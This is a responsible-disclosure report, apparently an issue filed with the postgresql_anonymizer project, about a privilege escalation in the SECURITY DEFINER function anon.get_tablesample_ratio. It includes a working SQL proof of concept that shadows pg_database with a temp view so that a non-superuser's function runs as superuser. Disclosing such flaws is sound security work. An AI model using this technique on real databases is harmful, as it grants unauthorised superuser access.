Privilege escalation vulnerability in "Anon" / postgresql_anonymizer (2)

Hello again,

I wanted to make you aware of another security issue that I recently discovered in your postgres extension "anon" or postgresql_anonymizer. The vulnerability can be found in the "anon.get_tablesample_ratio" function (https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/latest/sql/anon.sql?ref_type=heads#L623)

The code of this function looks like this:

-- get the TABLESAMPLE ratio declared for this table, if any
CREATE OR REPLACE FUNCTION anon.get_tablesample_ratio(relid OID)
RETURNS TEXT
AS $$
  SELECT COALESCE(
    (
    SELECT sl.label
    FROM pg_catalog.pg_seclabel sl
    WHERE sl.objoid = relid
    AND sl.objsubid = 0
    AND sl.provider = 'anon'
    ),
    (
    SELECT sl.label
    FROM pg_catalog.pg_seclabels sl
    WHERE sl.provider = 'anon'
    AND objtype='database'
    AND objoid = (SELECT oid FROM pg_database WHERE datname=current_database())
    )
  )
  ;
$$
  LANGUAGE SQL
  PARALLEL SAFE
  SECURITY DEFINER
  SET search_path=''
;

We can see here is that this is a "SECURITY DEFINER" function, meaning it will be executed as the owner of the function. Given that this extension is installed as "superuser", the owner will most likely be a superuser.

At first glance it looks like this is safe, due to the fact that the search_path is set to '' (empty). However there's another way to achieve privilege escalation by shadowing the "pg_database" table. We can see there's a "SELECT oid FROM pg_database" subquery (https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/latest/sql/anon.sql?ref_type=heads#L639) that doesn't use the "pg_catalog." schema prefix.

Proof-of-concept:

CREATE OR REPLACE FUNCTION public.pg_database_jackds()
RETURNS SETOF pg_catalog.pg_database
LANGUAGE plpgsql
AS $$
BEGIN
    RAISE WARNING 'Executed by %', current_user;
    RETURN QUERY SELECT * FROM pg_catalog.pg_database;
END;
$$;

CREATE OR REPLACE VIEW pg_temp.pg_database AS SELECT * FROM public.pg_database_jackds();
SELECT anon.get_tablesample_ratio(1);

Running this code as non-superuser will execute the "pg_database_jackds" function with superuser privileges.

Assignee Loading
Time tracking Loading